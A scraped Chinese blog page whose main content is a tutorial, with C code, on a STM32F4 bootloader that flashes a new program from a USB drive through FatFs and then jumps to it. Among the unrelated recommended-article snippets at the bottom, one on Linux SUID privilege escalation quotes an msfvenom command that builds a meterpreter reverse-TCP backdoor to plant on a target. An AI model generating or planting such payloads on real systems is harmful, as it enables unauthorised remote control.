STM32F4通过U盘升级程序

2023-11-12

昨天的文章中介绍F4系列单片机的内部Flash读写,包括之前文章中介绍了FatFS文件系统读写U盘的操作。本篇文章就是将两者结合,实现F4系列单片机程序的U盘升级。

首先对内部Flash空间进行划分,前128K用于存储BootLoader程序,后面的空间用于存储App程序。定义如下:

#define IAP_SIZE                           ((uint32_t)0x20000)   /* 128Kbytes as IAP size */
#define APPLICATIONADDRESS                 ((uint32_t)0x08020000) /* User start code space */
#define APPLICATIONSIZE                    ((uint32_t)0xE0000)

之所以分配了128K给BootLoader程序,是因为这部分程序中移植了FatFs文件系统和emWin程序,程序比较大。当然emWin程序不是必须的,这里只是通过液晶屏来显示升级进度等信息。

上电后先运行BootLoader程序,可以通过多种方式来判断是否需要进行程序升级,比如标志位、按键、触摸屏状态等。如果需要程序升级,则读取U盘中的.bin文件,然后写入到APPLICATIONADDRESS地址。如果不需要升级,则直接跳转到App程序运行。

程序升级部分代码如下:

int writeNewProgram()
{
    int rtn;
    int i;
    int isFinish = 0;
    FIL fil;
    int sectorFlag[12];//用于标记一下此sect是否已经擦除


    for( i=0; i<12; i++ )
        sectorFlag[i] = 0;


    GUI_DispStringAt("start write new program", 0, y);
    y+=16;
    HAL_FLASH_Unlock();//解锁flash
    __HAL_FLASH_CLEAR_FLAG(FLASH_FLAG_EOP | FLASH_FLAG_OPERR | FLASH_FLAG_WRPERR | FLASH_FLAG_PGAERR | FLASH_FLAG_PGPERR | FLASH_FLAG_PGSERR);


    rtn = f_open(&fil, filename, FA_READ );//打开程序文件
    if(rtn)
    {
        sprintf(str,"open %s error:%d\r\n",filename,rtn);
        GUI_DispStringAt(str, 0, y);
        y+=16;
    }
    else
    {
        sprintf(str,"open %s sucess\r\n",filename);
        GUI_DispStringAt(str, 0, y);
        y+=16;
    }


    uint32_t startaddress = APPLICATIONADDRESS;
    uint32_t endaddress = APPLICATIONADDRESS + APPLICATIONSIZE;


    GUI_DispStringAt("start program", 0, y);
    y+=16;
    while( startaddress < endaddress && isFinish == 0 )
    {
        rtn = f_read(&fil, buf, BUF_SIZE, (UINT*)&bytesread);//读取128K数据
        if(rtn)
        {
            sprintf(str,"read address 0x%X error:%d",startaddress,rtn);
            GUI_DispStringAt(str, 0, y);
            break;
        }
        else
        {
            sprintf(str,"read address 0x%X sucess! rbytes=0x%X",startaddress,bytesread);
            GUI_DispStringAt(str, 0, y);
        }
        y+=16;
        for( i=0; i<bytesread; i+=4 )
        {
            int sect = GetSectorFromAddress(startaddress);
            if( sect >= 0 )
            {
                if( sectorFlag[sect] == 0 )//0表示此sect还没有被擦除
                {
                    sectorFlag[sect] = 1;
                    FLASH_Erase_Sector(sect,FLASH_VOLTAGE_RANGE_3);
                    sprintf(str,"erase sector %d",sect);
                    GUI_DispStringAt(str, 0, y);
                }
            }




            uint32_t *p;
            p = (uint32_t *)&buf[i];
            rtn = HAL_FLASH_Program(FLASH_TYPEPROGRAM_WORD,startaddress,*p);//写入Flash


            if( rtn != 0 )
            {
                isFinish = 1;
                sprintf(str,"HAL_FLASH_Program Err:%X",startaddress);
                GUI_DispStringAt(str, 0, y);
                break;
            }
            startaddress +=4;
        }


        if( bytesread < BUF_SIZE )
        {
            isFinish = 1;
        }
    }
    y+=16;
    rtn = f_close(&fil);
    if(rtn)
    {
        sprintf(str,"close %s error:%d",filename,rtn);
        GUI_DispStringAt(str, 0, y);
        y+=16;
    }
    else
    {
        sprintf(str,"close %s sucess",filename);
        GUI_DispStringAt(str, 0, y);
        y+=16;
    }
    HAL_FLASH_Lock();
    GUI_DispStringAt("end write program", 0, y);
    y+=16;
    return isFinish;
}

程序流程如下:解锁Flash后,打开U盘中的程序文件,然后每次读取128K数据(128K正好是一个Sector的大小,F429单片机RAM也足够大,所以可以每次读取较多的数据,效率更高),然后擦除Sector,再写入。直到所有数据写入完成再对Flash上锁。之后再跳转到App程序运行即可。

跳转部分代码如下:

typedef  void (*pFunction)(void);
pFunction Jump_To_Application;
uint32_t JumpAddress;


void jumpToApp()
{
    if (((*(__IO uint32_t*)APPLICATIONADDRESS) & 0x2FFE0000 ) == 0x20000000)
    {
      /* Jump to user application */
      JumpAddress = *(__IO uint32_t*) (APPLICATIONADDRESS + 4);
      Jump_To_Application = (pFunction) JumpAddress;
      /* Initialize user application's Stack Pointer */
      __set_MSP(*(__IO uint32_t*) APPLICATIONADDRESS);
      Jump_To_Application();
    }
}

实际运行效果:

视频中升级之前对单片机内的程序进行了备份,再进行写入。可以看到,500多KB的程序升级用了几秒钟,速度还是可以的。

总结

以上介绍的内容只是实现了基本的程序升级功能,实际应用中可能还需要对数据进行校验、加密等操作。

推荐阅读:

程序 | STM32F4内部Flash读写

程序 | STM32CubeMX之FatFS读写U盘

电路 | 两种常用压控电流源设计

欢迎关注公众号"嵌入式技术开发",大家可以后台给我留言沟通交流。如果觉得该公众号对你有所帮助,也欢迎推荐分享给其他人。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

STM32F4通过U盘升级程序 的相关文章

随机推荐

  • 提权_Linux提权_suid

    1 MSF连接目标机 生成msf后门 上传到目标机 开启监听 等待运行 gt msfvenom p linux x64 meterpreter reverse tcp LHOST 0 0 0 0 LPORT 6666 i 3 f elf o
  • SylixOS lite Extension工程开发手册

    1 适用范围 本文档介绍了SylixOS Lite版本应用工程的开发流程 适用于使用SylixOS Lite版本开发的相关工程师 2 新建Extension工程 1 选择创建Extension工程 在Project Explorer栏中点击
  • iview表格全选禁止选中设置

    业务需求 表格里面一键全选功能 但是有些数据可能不满足全选的需求 当点击全选时 不满足条件的默认不认其选中 代码如下
  • 微信小程序切片-喝水了关于我们前端制作演示

    微信小程序切片 喝水了关于我们前端制作演示 外部背景的使用 文字识别的使用 复制粘贴设置 边框的设置方法 原始高清播放文件 链接 https pan baidu com s 1nOeOoCj1jfP5rQOg UaQDQ 提取码 32lt
  • Mysql报错 Error querying database. Cause java.sql.SQLSyntaxErrorException

    今天写一个查询功能的时候 出现了一个错误 当我写好后端接口 准备去前端掉用的时候出现了如下错误 Errorqueryingdatabase Cause java sql SQLSyntaxErrorException Youhaveaner
  • leetcode——第55题——跳跃游戏

    题目 给定一个非负整数数组 nums 你最初位于数组的 第一个下标 数组中的每个元素代表你在该位置可以跳跃的最大长度 判断你是否能够到达最后一个下标 class Solution public bool canJump vector
  • XboxOne的kinect在Unity上的开发——开始界面

    好的 欢迎大家来看这个系列的第二部分的内容 这一次呢 我们就直接进入主题 开发切水果游戏本身 这次的切水果的demo呢 我们选择使用ugui来制作 因为ugui相对于NGUI的各种优势 让我们选择了ugui 关于这些呢 大家可以参考我的另一
  • 漏洞扫描是什么?怎么做?

    漏洞扫描 漏洞扫描是指基于漏洞数据库 通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测 发现可利用漏洞的一种安全检测 渗透攻击 行为 漏洞扫描按扫描器所处位置 可分为内网扫描和外网扫描 而按照工作方式 又可以将漏洞扫描分为远
  • 【SpringBoot项目实战】图片压缩包上传、解压、存储等等一套流程教学

    SpringBoot项目实战 图片压缩包上传 解压 存储等等一套流程教学 前言 一 压缩包上传 1 接口实现 2 获取压缩包的文件名和文件路径 二 压缩包解压并保存 1 处理压缩包文件方法 解压缩步骤 2 接口中实现处理压缩包 三 总结 前
  • HTML在工作中的使用

    本文是在学习HTML的时候 心血来潮尝试的做法 纯属瞎玩 不可当真 示例 工作中编辑邮件 在管理系统上进行任务编辑 描述时 都可能会使用到HTML的简单知识 有一些简单的标签可以帮助我们更好的完成工作 比如字体加粗 换行等 比如我在办公系统
  • python使用装饰器记录方法耗时

    思路 python使用修饰器记录方法耗时 目的是每当方法执行完后 可以记录该方法耗时 而不需要在每个方法的执行前后 去创建一个临时变量 来记录耗时 方式一 不推荐 在每个方法的执行前后 去创建一个临时变量 来记录耗时 代码如下 缺点在于 如
  • 爱好高科技之人脸识别模块

    前段时间看到一款性价比很不错的人脸识别模组 2个关键指标引起了我极大的兴趣 1 99 的识别通过率 误识率低于百万分之一 2 双目摄像头 活体检测 于是买了几个 结合离线语音模块 两者通过串口进行一问一答通信 人机交互部分通过语音和OLED
  • 运行vue-admin-template和vue-element-admin及可能问题点解决

    系统 windows10 64位 需求 安装node js git客户端 ssh公钥设定好 安装node sass 前提 安装好node js 配置好环境 安装好的nodejs文件夹下如下图所示 其中node global和node cac
  • Java21天打卡Day8-break

    break和continue break 表示跳出当前层循环 continue 表示跳出本次循环 进入下一次循环 import com sun org apache xerces internal util SynchronizedSymb
  • vue 项目放弃“tui-editor“ “1.3.3“,

    从官网https github com PanJiaChen vue element admin下载的版本带有 tui editor 版本1 3 3 在编译时会遇到如下问题 error An unexpected error occurre
  • 使用 X2MindSpore 迁移 Pytorch 训练脚本mobileNet支持分布式训练

    简介 MindSpore是华为昇腾开发的深度学习框架 旨在提供端边云全场景的AI框架 Pytorch是由Facebook推出的AI框架 本教程使用MindStudio中的X2MindSpore功能自动将Pytorch脚本转换为MindSpo
  • 整数的逆序数

    本题要求实现一个求整数的逆序数的简单函数 函数接口定义 int reverse int number 其中函数reverse须返回用户传入的整型number的逆序数 include
  • 解决warning: this statement may fall through [-Wimplicit-fallthrough=]

    使用switch如果缺少break gcc编译的时候会报相关的warnning信息 如果是忘记写 这样肯定是有问题的 警告信息可以帮助我们排除隐藏的bug 要消除警告很简单 把break加上就行 但是有时候 我们的需求就是需要继续向下执行
  • 计算曲线与坐标轴的面积

    根据坐标点 计算曲线与坐标轴的面积 import numpy as np import matplotlib pyplot as plt x np arange 0 1 0 001 y np sqrt 1 x 2 plt close all
  • STM32F4通过U盘升级程序

    昨天的文章中介绍F4系列单片机的内部Flash读写 包括之前文章中介绍了FatFS文件系统读写U盘的操作 本篇文章就是将两者结合 实现F4系列单片机程序的U盘升级 首先对内部Flash空间进行划分 前128K用于存储BootLoader程序